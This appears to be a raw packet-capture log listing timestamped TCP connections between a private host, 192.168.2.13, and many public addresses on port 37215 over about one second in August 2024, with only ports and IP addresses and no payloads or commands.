Aug 17, 2024 01:01:52.854562044 CEST	37215	47912	197.252.125.147	192.168.2.13
Aug 17, 2024 01:01:52.854576111 CEST	37215	34498	197.96.47.115	192.168.2.13
Aug 17, 2024 01:01:52.854619980 CEST	37215	55062	197.36.100.55	192.168.2.13
Aug 17, 2024 01:01:52.854634047 CEST	37215	60808	41.32.132.80	192.168.2.13
Aug 17, 2024 01:01:52.854758978 CEST	37215	44588	41.30.160.38	192.168.2.13
Aug 17, 2024 01:01:52.854779005 CEST	37215	36118	41.9.108.65	192.168.2.13
Aug 17, 2024 01:01:52.854789972 CEST	37215	34764	197.160.14.174	192.168.2.13
Aug 17, 2024 01:01:52.854803085 CEST	37215	38802	41.26.220.216	192.168.2.13
Aug 17, 2024 01:01:52.854816914 CEST	37215	50514	156.129.209.36	192.168.2.13
Aug 17, 2024 01:01:52.854867935 CEST	37215	59392	197.124.155.73	192.168.2.13
Aug 17, 2024 01:01:52.854897976 CEST	37215	58050	41.18.249.87	192.168.2.13
Aug 17, 2024 01:01:52.854909897 CEST	37215	42094	41.233.208.138	192.168.2.13
Aug 17, 2024 01:01:52.854933977 CEST	37215	57090	41.111.135.196	192.168.2.13
Aug 17, 2024 01:01:52.854944944 CEST	37215	54876	156.214.148.208	192.168.2.13
Aug 17, 2024 01:01:52.854957104 CEST	37215	43686	156.233.44.208	192.168.2.13
Aug 17, 2024 01:01:52.855113983 CEST	37215	58062	197.8.208.110	192.168.2.13
Aug 17, 2024 01:01:52.855170965 CEST	37215	51058	197.43.146.71	192.168.2.13
Aug 17, 2024 01:01:52.855207920 CEST	51058	37215	192.168.2.13	197.43.146.71
Aug 17, 2024 01:01:52.855232000 CEST	37215	60752	156.172.52.245	192.168.2.13
Aug 17, 2024 01:01:52.855254889 CEST	37215	36928	41.238.33.63	192.168.2.13
Aug 17, 2024 01:01:52.855267048 CEST	37215	58830	156.232.165.87	192.168.2.13
Aug 17, 2024 01:01:52.855282068 CEST	37215	47918	156.191.92.231	192.168.2.13
Aug 17, 2024 01:01:52.855300903 CEST	37215	50606	156.9.53.194	192.168.2.13
Aug 17, 2024 01:01:52.855333090 CEST	37215	55572	41.97.74.86	192.168.2.13
Aug 17, 2024 01:01:52.855344057 CEST	37215	51524	156.91.48.41	192.168.2.13
Aug 17, 2024 01:01:52.855355024 CEST	37215	59084	156.73.13.89	192.168.2.13
Aug 17, 2024 01:01:52.855367899 CEST	37215	56262	197.94.154.138	192.168.2.13
Aug 17, 2024 01:01:52.855379105 CEST	37215	53136	156.226.203.71	192.168.2.13
Aug 17, 2024 01:01:52.855407953 CEST	37215	44070	197.85.103.158	192.168.2.13
Aug 17, 2024 01:01:52.855565071 CEST	37215	57254	41.28.105.96	192.168.2.13
Aug 17, 2024 01:01:52.855582952 CEST	37215	37124	156.8.222.105	192.168.2.13
Aug 17, 2024 01:01:52.855607033 CEST	37215	57982	197.248.146.23	192.168.2.13
Aug 17, 2024 01:01:52.855618954 CEST	37215	58432	41.101.31.244	192.168.2.13
Aug 17, 2024 01:01:52.855655909 CEST	58432	37215	192.168.2.13	41.101.31.244
Aug 17, 2024 01:01:52.855930090 CEST	37215	44400	197.36.122.19	192.168.2.13
Aug 17, 2024 01:01:52.855999947 CEST	37215	37116	197.93.59.225	192.168.2.13
Aug 17, 2024 01:01:52.856106043 CEST	37215	48356	41.90.42.198	192.168.2.13
Aug 17, 2024 01:01:52.856118917 CEST	37215	59546	156.41.196.1	192.168.2.13
Aug 17, 2024 01:01:52.856132030 CEST	37215	40436	156.81.112.77	192.168.2.13
Aug 17, 2024 01:01:52.856142998 CEST	37215	44078	197.4.146.79	192.168.2.13
Aug 17, 2024 01:01:52.856146097 CEST	48356	37215	192.168.2.13	41.90.42.198
Aug 17, 2024 01:01:52.856182098 CEST	37215	57724	197.93.165.158	192.168.2.13
Aug 17, 2024 01:01:52.856193066 CEST	37215	44052	197.48.31.41	192.168.2.13
Aug 17, 2024 01:01:52.856235027 CEST	37215	33546	156.75.242.255	192.168.2.13
Aug 17, 2024 01:01:52.856249094 CEST	37215	60898	156.105.254.196	192.168.2.13
Aug 17, 2024 01:01:52.856314898 CEST	37215	33424	156.222.5.107	192.168.2.13
Aug 17, 2024 01:01:52.856328964 CEST	37215	42944	41.105.187.177	192.168.2.13
Aug 17, 2024 01:01:52.856348038 CEST	37215	45006	41.219.110.69	192.168.2.13
Aug 17, 2024 01:01:52.856359005 CEST	37215	34118	41.233.122.47	192.168.2.13
Aug 17, 2024 01:01:52.856369019 CEST	37215	44668	197.159.159.96	192.168.2.13
Aug 17, 2024 01:01:52.856379032 CEST	37215	57082	156.211.231.190	192.168.2.13
Aug 17, 2024 01:01:52.856400967 CEST	37215	33132	156.122.150.249	192.168.2.13
Aug 17, 2024 01:01:52.856409073 CEST	37215	56476	156.37.116.205	192.168.2.13
Aug 17, 2024 01:01:52.856419086 CEST	37215	52436	197.214.139.137	192.168.2.13
Aug 17, 2024 01:01:52.856797934 CEST	37215	58704	41.125.158.191	192.168.2.13
Aug 17, 2024 01:01:52.856846094 CEST	58704	37215	192.168.2.13	41.125.158.191
Aug 17, 2024 01:01:52.857244015 CEST	37215	55072	156.226.106.180	192.168.2.13
Aug 17, 2024 01:01:52.857286930 CEST	55072	37215	192.168.2.13	156.226.106.180
Aug 17, 2024 01:01:52.857338905 CEST	45022	37215	192.168.2.13	197.139.83.220
Aug 17, 2024 01:01:52.857345104 CEST	60008	37215	192.168.2.13	41.21.246.26
Aug 17, 2024 01:01:52.857345104 CEST	58650	37215	192.168.2.13	41.84.246.252
Aug 17, 2024 01:01:52.857356071 CEST	54644	37215	192.168.2.13	156.235.58.38
Aug 17, 2024 01:01:52.857356071 CEST	58752	37215	192.168.2.13	197.215.8.61
Aug 17, 2024 01:01:52.857362032 CEST	56926	37215	192.168.2.13	156.42.67.215
Aug 17, 2024 01:01:52.857372046 CEST	38626	37215	192.168.2.13	41.186.130.207
Aug 17, 2024 01:01:52.857372046 CEST	33650	37215	192.168.2.13	197.151.50.43
Aug 17, 2024 01:01:52.857372046 CEST	46760	37215	192.168.2.13	197.29.241.16
Aug 17, 2024 01:01:52.857377052 CEST	57772	37215	192.168.2.13	156.139.38.63
Aug 17, 2024 01:01:52.857378960 CEST	40166	37215	192.168.2.13	197.116.147.152
Aug 17, 2024 01:01:52.857386112 CEST	41150	37215	192.168.2.13	156.48.147.157
Aug 17, 2024 01:01:52.857387066 CEST	36932	37215	192.168.2.13	41.60.201.101
Aug 17, 2024 01:01:52.857387066 CEST	52212	37215	192.168.2.13	41.222.83.219
Aug 17, 2024 01:01:52.857388020 CEST	51958	37215	192.168.2.13	41.239.67.63
Aug 17, 2024 01:01:52.857388020 CEST	41624	37215	192.168.2.13	156.11.180.235
Aug 17, 2024 01:01:52.857389927 CEST	43204	37215	192.168.2.13	197.178.191.46
Aug 17, 2024 01:01:52.857389927 CEST	42940	37215	192.168.2.13	156.166.44.39
Aug 17, 2024 01:01:52.857394934 CEST	41636	37215	192.168.2.13	197.123.175.70
Aug 17, 2024 01:01:52.857397079 CEST	38732	37215	192.168.2.13	197.223.217.187
Aug 17, 2024 01:01:52.857409954 CEST	57062	37215	192.168.2.13	197.233.139.44
Aug 17, 2024 01:01:52.857723951 CEST	37215	57330	156.132.119.97	192.168.2.13
Aug 17, 2024 01:01:52.857760906 CEST	57330	37215	192.168.2.13	156.132.119.97
Aug 17, 2024 01:01:52.858485937 CEST	37215	41446	197.214.106.46	192.168.2.13
Aug 17, 2024 01:01:52.858508110 CEST	37215	35868	197.226.173.69	192.168.2.13
Aug 17, 2024 01:01:52.858520031 CEST	37215	50588	41.125.204.31	192.168.2.13
Aug 17, 2024 01:01:52.858542919 CEST	37215	46596	41.129.214.78	192.168.2.13
Aug 17, 2024 01:01:52.858552933 CEST	37215	51882	156.14.140.227	192.168.2.13
Aug 17, 2024 01:01:52.858556986 CEST	50588	37215	192.168.2.13	41.125.204.31
Aug 17, 2024 01:01:52.858568907 CEST	37215	57756	156.250.143.170	192.168.2.13
Aug 17, 2024 01:01:52.858580112 CEST	37215	48698	156.123.207.66	192.168.2.13
Aug 17, 2024 01:01:52.858891964 CEST	37215	53650	156.86.210.142	192.168.2.13
Aug 17, 2024 01:01:52.858928919 CEST	53650	37215	192.168.2.13	156.86.210.142
Aug 17, 2024 01:01:52.859306097 CEST	37215	59940	156.253.199.245	192.168.2.13
Aug 17, 2024 01:01:52.859343052 CEST	59940	37215	192.168.2.13	156.253.199.245
Aug 17, 2024 01:01:52.860137939 CEST	37215	49220	41.188.19.203	192.168.2.13
Aug 17, 2024 01:01:52.860182047 CEST	49220	37215	192.168.2.13	41.188.19.203
Aug 17, 2024 01:01:52.860718012 CEST	37215	48112	41.105.138.43	192.168.2.13
Aug 17, 2024 01:01:52.860761881 CEST	48112	37215	192.168.2.13	41.105.138.43
Aug 17, 2024 01:01:52.860779047 CEST	37215	51756	197.165.221.135	192.168.2.13
Aug 17, 2024 01:01:52.860819101 CEST	51756	37215	192.168.2.13	197.165.221.135
Aug 17, 2024 01:01:52.861099005 CEST	37215	33370	197.214.120.213	192.168.2.13
Aug 17, 2024 01:01:52.861148119 CEST	33370	37215	192.168.2.13	197.214.120.213
Aug 17, 2024 01:01:52.861223936 CEST	37215	60898	156.67.62.38	192.168.2.13
Aug 17, 2024 01:01:52.861422062 CEST	37215	41516	41.139.28.57	192.168.2.13
Aug 17, 2024 01:01:52.861429930 CEST	60898	37215	192.168.2.13	156.67.62.38
Aug 17, 2024 01:01:52.861457109 CEST	41516	37215	192.168.2.13	41.139.28.57
Aug 17, 2024 01:01:52.861701965 CEST	37215	55830	41.242.104.85	192.168.2.13
Aug 17, 2024 01:01:52.861716986 CEST	37215	54082	197.117.32.112	192.168.2.13
Aug 17, 2024 01:01:52.861745119 CEST	55830	37215	192.168.2.13	41.242.104.85
Aug 17, 2024 01:01:52.861747026 CEST	54082	37215	192.168.2.13	197.117.32.112
Aug 17, 2024 01:01:52.861809969 CEST	37215	32960	156.155.175.224	192.168.2.13
Aug 17, 2024 01:01:52.861896038 CEST	32960	37215	192.168.2.13	156.155.175.224
Aug 17, 2024 01:01:52.862291098 CEST	37215	45022	197.139.83.220	192.168.2.13
Aug 17, 2024 01:01:52.862313986 CEST	37215	32910	156.81.191.67	192.168.2.13
Aug 17, 2024 01:01:52.862329006 CEST	37215	54644	156.235.58.38	192.168.2.13
Aug 17, 2024 01:01:52.862344027 CEST	37215	58752	197.215.8.61	192.168.2.13
Aug 17, 2024 01:01:52.862353086 CEST	37215	60008	41.21.246.26	192.168.2.13
Aug 17, 2024 01:01:52.862355947 CEST	32910	37215	192.168.2.13	156.81.191.67
Aug 17, 2024 01:01:52.862368107 CEST	37215	38626	41.186.130.207	192.168.2.13
Aug 17, 2024 01:01:52.862396955 CEST	37215	58650	41.84.246.252	192.168.2.13
Aug 17, 2024 01:01:52.862411976 CEST	37215	57772	156.139.38.63	192.168.2.13
Aug 17, 2024 01:01:52.862435102 CEST	37215	56926	156.42.67.215	192.168.2.13
Aug 17, 2024 01:01:52.862457991 CEST	37215	33650	197.151.50.43	192.168.2.13
Aug 17, 2024 01:01:52.862473011 CEST	37215	46760	197.29.241.16	192.168.2.13
Aug 17, 2024 01:01:52.862503052 CEST	37215	40166	197.116.147.152	192.168.2.13
Aug 17, 2024 01:01:52.862521887 CEST	37215	34170	41.164.165.147	192.168.2.13
Aug 17, 2024 01:01:52.862531900 CEST	37215	41150	156.48.147.157	192.168.2.13
Aug 17, 2024 01:01:52.862555981 CEST	37215	36932	41.60.201.101	192.168.2.13
Aug 17, 2024 01:01:52.862567902 CEST	37215	51958	41.239.67.63	192.168.2.13
Aug 17, 2024 01:01:52.862586021 CEST	37215	41624	156.11.180.235	192.168.2.13
Aug 17, 2024 01:01:52.862605095 CEST	37215	41636	197.123.175.70	192.168.2.13
Aug 17, 2024 01:01:52.862616062 CEST	37215	42940	156.166.44.39	192.168.2.13
Aug 17, 2024 01:01:52.862627029 CEST	37215	57062	197.233.139.44	192.168.2.13
Aug 17, 2024 01:01:52.862664938 CEST	34170	37215	192.168.2.13	41.164.165.147
Aug 17, 2024 01:01:52.862843990 CEST	37215	42742	197.152.136.36	192.168.2.13
Aug 17, 2024 01:01:52.862854958 CEST	37215	48724	41.7.76.224	192.168.2.13
Aug 17, 2024 01:01:52.862889051 CEST	42742	37215	192.168.2.13	197.152.136.36
Aug 17, 2024 01:01:52.862894058 CEST	48724	37215	192.168.2.13	41.7.76.224
Aug 17, 2024 01:01:52.863183022 CEST	37215	45186	41.30.59.125	192.168.2.13
Aug 17, 2024 01:01:52.863220930 CEST	45186	37215	192.168.2.13	41.30.59.125
Aug 17, 2024 01:01:52.863302946 CEST	37215	50724	197.227.212.131	192.168.2.13
Aug 17, 2024 01:01:52.863343000 CEST	50724	37215	192.168.2.13	197.227.212.131
Aug 17, 2024 01:01:52.863764048 CEST	37215	51186	41.111.3.139	192.168.2.13
Aug 17, 2024 01:01:52.863814116 CEST	51186	37215	192.168.2.13	41.111.3.139
Aug 17, 2024 01:01:52.864141941 CEST	37215	52666	41.67.207.128	192.168.2.13
Aug 17, 2024 01:01:52.864201069 CEST	52666	37215	192.168.2.13	41.67.207.128
Aug 17, 2024 01:01:52.864545107 CEST	37215	50458	41.200.34.54	192.168.2.13
Aug 17, 2024 01:01:52.864583969 CEST	50458	37215	192.168.2.13	41.200.34.54
Aug 17, 2024 01:01:52.864729881 CEST	37215	58768	197.193.52.121	192.168.2.13
Aug 17, 2024 01:01:52.864835024 CEST	58768	37215	192.168.2.13	197.193.52.121
Aug 17, 2024 01:01:52.864936113 CEST	37215	53768	197.152.29.126	192.168.2.13
Aug 17, 2024 01:01:52.864973068 CEST	53768	37215	192.168.2.13	197.152.29.126
Aug 17, 2024 01:01:52.865130901 CEST	37215	51080	41.28.41.178	192.168.2.13
Aug 17, 2024 01:01:52.865175009 CEST	51080	37215	192.168.2.13	41.28.41.178
Aug 17, 2024 01:01:52.865389109 CEST	37215	38076	197.144.118.143	192.168.2.13
Aug 17, 2024 01:01:52.865426064 CEST	38076	37215	192.168.2.13	197.144.118.143
Aug 17, 2024 01:01:52.865984917 CEST	37215	54624	156.69.229.46	192.168.2.13
Aug 17, 2024 01:01:52.866024017 CEST	54624	37215	192.168.2.13	156.69.229.46
Aug 17, 2024 01:01:52.866190910 CEST	37215	60796	197.148.125.134	192.168.2.13
Aug 17, 2024 01:01:52.866231918 CEST	60796	37215	192.168.2.13	197.148.125.134
Aug 17, 2024 01:01:52.866749048 CEST	37215	59178	197.18.103.36	192.168.2.13
Aug 17, 2024 01:01:52.866815090 CEST	59178	37215	192.168.2.13	197.18.103.36
Aug 17, 2024 01:01:52.867217064 CEST	37215	43214	41.253.130.201	192.168.2.13
Aug 17, 2024 01:01:52.867258072 CEST	43214	37215	192.168.2.13	41.253.130.201
Aug 17, 2024 01:01:52.867626905 CEST	37215	46780	41.115.152.174	192.168.2.13
Aug 17, 2024 01:01:52.867669106 CEST	46780	37215	192.168.2.13	41.115.152.174
Aug 17, 2024 01:01:52.868304014 CEST	37215	45090	156.200.212.92	192.168.2.13
Aug 17, 2024 01:01:52.868381023 CEST	45090	37215	192.168.2.13	156.200.212.92
Aug 17, 2024 01:01:52.868743896 CEST	37215	39380	156.174.214.8	192.168.2.13
Aug 17, 2024 01:01:52.868982077 CEST	39380	37215	192.168.2.13	156.174.214.8
Aug 17, 2024 01:01:52.869159937 CEST	37215	42868	41.40.204.176	192.168.2.13
Aug 17, 2024 01:01:52.869272947 CEST	42868	37215	192.168.2.13	41.40.204.176
Aug 17, 2024 01:01:52.869324923 CEST	37215	43844	156.52.223.120	192.168.2.13
Aug 17, 2024 01:01:52.869359016 CEST	43844	37215	192.168.2.13	156.52.223.120
Aug 17, 2024 01:01:52.869585037 CEST	37215	47776	197.105.56.185	192.168.2.13
Aug 17, 2024 01:01:52.869628906 CEST	47776	37215	192.168.2.13	197.105.56.185
Aug 17, 2024 01:01:52.869883060 CEST	37215	37496	197.77.149.245	192.168.2.13
Aug 17, 2024 01:01:52.869971991 CEST	37215	51874	41.72.36.21	192.168.2.13
Aug 17, 2024 01:01:52.870003939 CEST	37496	37215	192.168.2.13	197.77.149.245
Aug 17, 2024 01:01:52.870011091 CEST	51874	37215	192.168.2.13	41.72.36.21
Aug 17, 2024 01:01:52.870234966 CEST	37215	33880	197.242.157.20	192.168.2.13
Aug 17, 2024 01:01:52.870274067 CEST	33880	37215	192.168.2.13	197.242.157.20
Aug 17, 2024 01:01:52.870630026 CEST	37215	47620	41.224.178.253	192.168.2.13
Aug 17, 2024 01:01:52.870668888 CEST	47620	37215	192.168.2.13	41.224.178.253
Aug 17, 2024 01:01:52.870706081 CEST	37215	45558	197.33.118.207	192.168.2.13
Aug 17, 2024 01:01:52.870739937 CEST	45558	37215	192.168.2.13	197.33.118.207
Aug 17, 2024 01:01:52.871120930 CEST	37215	56498	197.131.244.219	192.168.2.13
Aug 17, 2024 01:01:52.871155977 CEST	56498	37215	192.168.2.13	197.131.244.219
Aug 17, 2024 01:01:52.871427059 CEST	37215	34328	41.56.250.184	192.168.2.13
Aug 17, 2024 01:01:52.871474028 CEST	34328	37215	192.168.2.13	41.56.250.184
Aug 17, 2024 01:01:52.871632099 CEST	37215	52612	197.248.246.30	192.168.2.13
Aug 17, 2024 01:01:52.871865988 CEST	37215	43984	41.241.76.22	192.168.2.13
Aug 17, 2024 01:01:52.872153997 CEST	37215	43040	156.115.73.165	192.168.2.13
Aug 17, 2024 01:01:52.872653961 CEST	37215	43466	156.73.69.227	192.168.2.13
Aug 17, 2024 01:01:52.872790098 CEST	37215	53758	197.166.118.19	192.168.2.13
Aug 17, 2024 01:01:52.872994900 CEST	37215	35800	41.203.221.60	192.168.2.13
Aug 17, 2024 01:01:52.873214006 CEST	37215	39610	41.220.205.135	192.168.2.13
Aug 17, 2024 01:01:52.873528957 CEST	37215	49670	156.75.186.246	192.168.2.13
Aug 17, 2024 01:01:52.886373997 CEST	37215	33424	156.222.5.107	192.168.2.13
Aug 17, 2024 01:01:52.886389971 CEST	37215	33546	156.75.242.255	192.168.2.13
Aug 17, 2024 01:01:52.886632919 CEST	37215	52436	197.214.139.137	192.168.2.13
Aug 17, 2024 01:01:52.886703968 CEST	37215	33132	156.122.150.249	192.168.2.13
Aug 17, 2024 01:01:52.886938095 CEST	37215	60898	156.105.254.196	192.168.2.13
Aug 17, 2024 01:01:52.887093067 CEST	37215	42944	41.105.187.177	192.168.2.13
Aug 17, 2024 01:01:52.887317896 CEST	37215	44668	197.159.159.96	192.168.2.13
Aug 17, 2024 01:01:52.887516975 CEST	37215	34118	41.233.122.47	192.168.2.13
Aug 17, 2024 01:01:52.887746096 CEST	37215	37116	197.93.59.225	192.168.2.13
Aug 17, 2024 01:01:52.887919903 CEST	37215	44078	197.4.146.79	192.168.2.13
Aug 17, 2024 01:01:52.888277054 CEST	37215	44052	197.48.31.41	192.168.2.13
Aug 17, 2024 01:01:52.888288975 CEST	37215	59546	156.41.196.1	192.168.2.13
Aug 17, 2024 01:01:52.888546944 CEST	37215	44400	197.36.122.19	192.168.2.13
Aug 17, 2024 01:01:52.904417038 CEST	37215	57082	156.211.231.190	192.168.2.13
Aug 17, 2024 01:01:52.904436111 CEST	37215	45006	41.219.110.69	192.168.2.13
Aug 17, 2024 01:01:52.904447079 CEST	37215	56476	156.37.116.205	192.168.2.13
Aug 17, 2024 01:01:52.904459000 CEST	37215	40436	156.81.112.77	192.168.2.13
Aug 17, 2024 01:01:52.904547930 CEST	37215	41446	197.214.106.46	192.168.2.13
Aug 17, 2024 01:01:52.904560089 CEST	37215	41636	197.123.175.70	192.168.2.13
Aug 17, 2024 01:01:52.904573917 CEST	37215	41624	156.11.180.235	192.168.2.13
Aug 17, 2024 01:01:52.904587984 CEST	37215	51958	41.239.67.63	192.168.2.13
Aug 17, 2024 01:01:52.904599905 CEST	37215	57062	197.233.139.44	192.168.2.13
Aug 17, 2024 01:01:52.909224987 CEST	37215	42940	156.166.44.39	192.168.2.13
Aug 17, 2024 01:01:53.033394098 CEST	58246	37215	192.168.2.13	41.190.82.22
Aug 17, 2024 01:01:53.033397913 CEST	33542	37215	192.168.2.13	156.130.182.89
Aug 17, 2024 01:01:53.033402920 CEST	35334	37215	192.168.2.13	197.81.111.53
Aug 17, 2024 01:01:53.037350893 CEST	36532	37215	192.168.2.13	156.136.35.194
Aug 17, 2024 01:01:53.037353039 CEST	56650	37215	192.168.2.13	197.82.247.73
Aug 17, 2024 01:01:53.037358046 CEST	43770	37215	192.168.2.13	156.35.151.19
Aug 17, 2024 01:01:53.037368059 CEST	51280	37215	192.168.2.13	156.84.141.220
Aug 17, 2024 01:01:53.037368059 CEST	50666	37215	192.168.2.13	156.203.116.210
Aug 17, 2024 01:01:53.037369967 CEST	43578	37215	192.168.2.13	41.149.96.72
Aug 17, 2024 01:01:53.037380934 CEST	52320	37215	192.168.2.13	156.169.83.79
Aug 17, 2024 01:01:53.037381887 CEST	37474	37215	192.168.2.13	197.178.219.110
Aug 17, 2024 01:01:53.037386894 CEST	37518	37215	192.168.2.13	41.37.209.74
Aug 17, 2024 01:01:53.037389040 CEST	54630	37215	192.168.2.13	197.251.210.162
Aug 17, 2024 01:01:53.037389040 CEST	35748	37215	192.168.2.13	197.182.20.163
Aug 17, 2024 01:01:53.037381887 CEST	32794	37215	192.168.2.13	41.178.253.124
Aug 17, 2024 01:01:53.037389040 CEST	34566	37215	192.168.2.13	41.217.242.186
Aug 17, 2024 01:01:53.037381887 CEST	45430	37215	192.168.2.13	41.188.165.36
Aug 17, 2024 01:01:53.037394047 CEST	40396	37215	192.168.2.13	156.236.94.230
Aug 17, 2024 01:01:53.037394047 CEST	56124	37215	192.168.2.13	197.20.218.51
Aug 17, 2024 01:01:53.037391901 CEST	57814	37215	192.168.2.13	156.47.228.225
Aug 17, 2024 01:01:53.037391901 CEST	39196	37215	192.168.2.13	41.74.137.213
Aug 17, 2024 01:01:53.037399054 CEST	32962	37215	192.168.2.13	41.125.179.222
Aug 17, 2024 01:01:53.037400007 CEST	54832	37215	192.168.2.13	156.205.144.104
Aug 17, 2024 01:01:53.037408113 CEST	58924	37215	192.168.2.13	156.11.0.154
Aug 17, 2024 01:01:53.037408113 CEST	53612	37215	192.168.2.13	156.42.241.51
Aug 17, 2024 01:01:53.037410975 CEST	55836	37215	192.168.2.13	197.77.108.93
Aug 17, 2024 01:01:53.282042980 CEST	37215	42620	156.93.225.165	192.168.2.13
Aug 17, 2024 01:01:53.282139063 CEST	42620	37215	192.168.2.13	156.93.225.165
Aug 17, 2024 01:01:53.283430099 CEST	37215	53058	197.15.205.21	192.168.2.13
Aug 17, 2024 01:01:53.283441067 CEST	37215	38662	197.226.149.27	192.168.2.13
Aug 17, 2024 01:01:53.283451080 CEST	37215	38238	156.214.69.49	192.168.2.13
Aug 17, 2024 01:01:53.283462048 CEST	37215	55802	41.131.30.181	192.168.2.13
Aug 17, 2024 01:01:53.283471107 CEST	37215	42206	197.107.15.205	192.168.2.13
Aug 17, 2024 01:01:53.283478022 CEST	38662	37215	192.168.2.13	197.226.149.27
Aug 17, 2024 01:01:53.283483028 CEST	37215	59500	156.161.31.200	192.168.2.13
Aug 17, 2024 01:01:53.283493042 CEST	53058	37215	192.168.2.13	197.15.205.21
Aug 17, 2024 01:01:53.283493042 CEST	38238	37215	192.168.2.13	156.214.69.49
Aug 17, 2024 01:01:53.283499002 CEST	37215	58964	41.170.179.141	192.168.2.13
Aug 17, 2024 01:01:53.283504963 CEST	55802	37215	192.168.2.13	41.131.30.181
Aug 17, 2024 01:01:53.283508062 CEST	37215	57778	156.234.175.39	192.168.2.13
Aug 17, 2024 01:01:53.283514023 CEST	59500	37215	192.168.2.13	156.161.31.200
Aug 17, 2024 01:01:53.283514977 CEST	42206	37215	192.168.2.13	197.107.15.205
Aug 17, 2024 01:01:53.283519030 CEST	37215	36852	197.255.23.140	192.168.2.13
Aug 17, 2024 01:01:53.283529043 CEST	37215	55050	41.38.176.133	192.168.2.13
Aug 17, 2024 01:01:53.283529043 CEST	58964	37215	192.168.2.13	41.170.179.141
Aug 17, 2024 01:01:53.283538103 CEST	37215	35664	156.119.0.235	192.168.2.13
Aug 17, 2024 01:01:53.283540010 CEST	57778	37215	192.168.2.13	156.234.175.39
Aug 17, 2024 01:01:53.283546925 CEST	36852	37215	192.168.2.13	197.255.23.140
Aug 17, 2024 01:01:53.283548117 CEST	37215	34230	41.141.47.84	192.168.2.13
Aug 17, 2024 01:01:53.283557892 CEST	37215	57658	41.5.140.208	192.168.2.13
Aug 17, 2024 01:01:53.283561945 CEST	55050	37215	192.168.2.13	41.38.176.133
Aug 17, 2024 01:01:53.283567905 CEST	37215	58712	41.218.157.167	192.168.2.13
Aug 17, 2024 01:01:53.283571959 CEST	35664	37215	192.168.2.13	156.119.0.235
Aug 17, 2024 01:01:53.283577919 CEST	37215	41232	41.237.68.28	192.168.2.13
Aug 17, 2024 01:01:53.283587933 CEST	37215	55008	41.104.87.75	192.168.2.13
Aug 17, 2024 01:01:53.283590078 CEST	57658	37215	192.168.2.13	41.5.140.208
Aug 17, 2024 01:01:53.283592939 CEST	34230	37215	192.168.2.13	41.141.47.84
Aug 17, 2024 01:01:53.283592939 CEST	58712	37215	192.168.2.13	41.218.157.167
Aug 17, 2024 01:01:53.283601046 CEST	37215	60118	197.81.9.101	192.168.2.13
Aug 17, 2024 01:01:53.283617020 CEST	37215	59688	41.104.228.157	192.168.2.13
Aug 17, 2024 01:01:53.283626080 CEST	41232	37215	192.168.2.13	41.237.68.28
Aug 17, 2024 01:01:53.283626080 CEST	37215	37432	156.186.214.34	192.168.2.13
Aug 17, 2024 01:01:53.283628941 CEST	55008	37215	192.168.2.13	41.104.87.75
Aug 17, 2024 01:01:53.283636093 CEST	37215	45396	197.109.141.223	192.168.2.13
Aug 17, 2024 01:01:53.283634901 CEST	60118	37215	192.168.2.13	197.81.9.101
Aug 17, 2024 01:01:53.283638954 CEST	59688	37215	192.168.2.13	41.104.228.157
Aug 17, 2024 01:01:53.283644915 CEST	37215	57968	41.60.50.8	192.168.2.13
Aug 17, 2024 01:01:53.283655882 CEST	37215	55292	41.187.163.243	192.168.2.13
Aug 17, 2024 01:01:53.283664942 CEST	37215	49280	197.233.181.104	192.168.2.13
Aug 17, 2024 01:01:53.283664942 CEST	37432	37215	192.168.2.13	156.186.214.34
Aug 17, 2024 01:01:53.283664942 CEST	45396	37215	192.168.2.13	197.109.141.223
Aug 17, 2024 01:01:53.283667088 CEST	57968	37215	192.168.2.13	41.60.50.8
Aug 17, 2024 01:01:53.283674002 CEST	37215	34578	197.46.139.125	192.168.2.13
Aug 17, 2024 01:01:53.283683062 CEST	37215	44730	156.127.131.95	192.168.2.13
Aug 17, 2024 01:01:53.283685923 CEST	55292	37215	192.168.2.13	41.187.163.243
Aug 17, 2024 01:01:53.283694029 CEST	49280	37215	192.168.2.13	197.233.181.104
Aug 17, 2024 01:01:53.283694029 CEST	37215	60440	197.223.197.153	192.168.2.13
Aug 17, 2024 01:01:53.283704996 CEST	37215	43324	197.59.22.76	192.168.2.13
Aug 17, 2024 01:01:53.283713102 CEST	37215	54266	197.131.247.58	192.168.2.13
Aug 17, 2024 01:01:53.283716917 CEST	44730	37215	192.168.2.13	156.127.131.95
Aug 17, 2024 01:01:53.283723116 CEST	37215	55506	41.81.36.0	192.168.2.13
Aug 17, 2024 01:01:53.283724070 CEST	34578	37215	192.168.2.13	197.46.139.125
Aug 17, 2024 01:01:53.283724070 CEST	60440	37215	192.168.2.13	197.223.197.153
Aug 17, 2024 01:01:53.283732891 CEST	37215	35510	197.145.99.21	192.168.2.13
Aug 17, 2024 01:01:53.283745050 CEST	43324	37215	192.168.2.13	197.59.22.76
Aug 17, 2024 01:01:53.283747911 CEST	37215	46812	156.167.239.5	192.168.2.13
Aug 17, 2024 01:01:53.283749104 CEST	54266	37215	192.168.2.13	197.131.247.58
Aug 17, 2024 01:01:53.283759117 CEST	37215	42124	41.246.45.174	192.168.2.13
Aug 17, 2024 01:01:53.283761024 CEST	55506	37215	192.168.2.13	41.81.36.0
Aug 17, 2024 01:01:53.283761024 CEST	35510	37215	192.168.2.13	197.145.99.21
Aug 17, 2024 01:01:53.283767939 CEST	37215	54492	41.145.152.60	192.168.2.13
Aug 17, 2024 01:01:53.283776999 CEST	37215	50134	41.135.249.76	192.168.2.13
Aug 17, 2024 01:01:53.283786058 CEST	37215	45876	156.153.26.52	192.168.2.13
Aug 17, 2024 01:01:53.283790112 CEST	37215	38530	41.85.61.96	192.168.2.13
Aug 17, 2024 01:01:53.283792019 CEST	42124	37215	192.168.2.13	41.246.45.174
Aug 17, 2024 01:01:53.283802032 CEST	37215	42284	156.224.77.37	192.168.2.13
Aug 17, 2024 01:01:53.283816099 CEST	46812	37215	192.168.2.13	156.167.239.5
Aug 17, 2024 01:01:53.283818960 CEST	54492	37215	192.168.2.13	41.145.152.60
Aug 17, 2024 01:01:53.283818960 CEST	50134	37215	192.168.2.13	41.135.249.76
Aug 17, 2024 01:01:53.283818960 CEST	45876	37215	192.168.2.13	156.153.26.52
Aug 17, 2024 01:01:53.283823013 CEST	38530	37215	192.168.2.13	41.85.61.96
Aug 17, 2024 01:01:53.283829927 CEST	37215	53184	156.207.217.207	192.168.2.13
Aug 17, 2024 01:01:53.283835888 CEST	42284	37215	192.168.2.13	156.224.77.37
Aug 17, 2024 01:01:53.283842087 CEST	37215	40144	41.254.227.85	192.168.2.13
Aug 17, 2024 01:01:53.283850908 CEST	37215	45004	41.33.53.167	192.168.2.13
Aug 17, 2024 01:01:53.283860922 CEST	37215	53136	197.134.164.58	192.168.2.13
